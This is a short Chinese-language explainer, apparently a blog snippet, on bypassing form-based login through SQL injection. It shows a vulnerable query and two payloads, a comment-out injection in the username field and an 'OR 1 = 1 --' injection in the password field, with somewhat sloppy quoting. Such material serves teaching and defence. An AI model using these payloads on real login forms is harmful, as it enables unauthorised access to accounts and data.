在执行具备sql后端的基于表单验证的网站上,sql注入可能绕过验证

经典代码

  select * from authenticationtable where 用户=‘username  input’ and

 密码=‘password input’

如果验证没有正确实现,在用户域注入

username' --

使SQL语句变成

select * from authenticationtable where 用户=‘username  input’-- and

 密码=‘password input’

 

sql语句最后的破折号指定余下的SQL语句

select * from authenticationtable where 用户=‘username '

 

为了将***提高一个层次,sql注入也可以再密码行进行

DUMMYPASSWORD' OR 1 = 1 --

得到SQL注入语句

 

select * from authenticationtable where 用户=‘username  input’ and

 密码=‘DUMMYPASSWORD' OR 1 = 1 --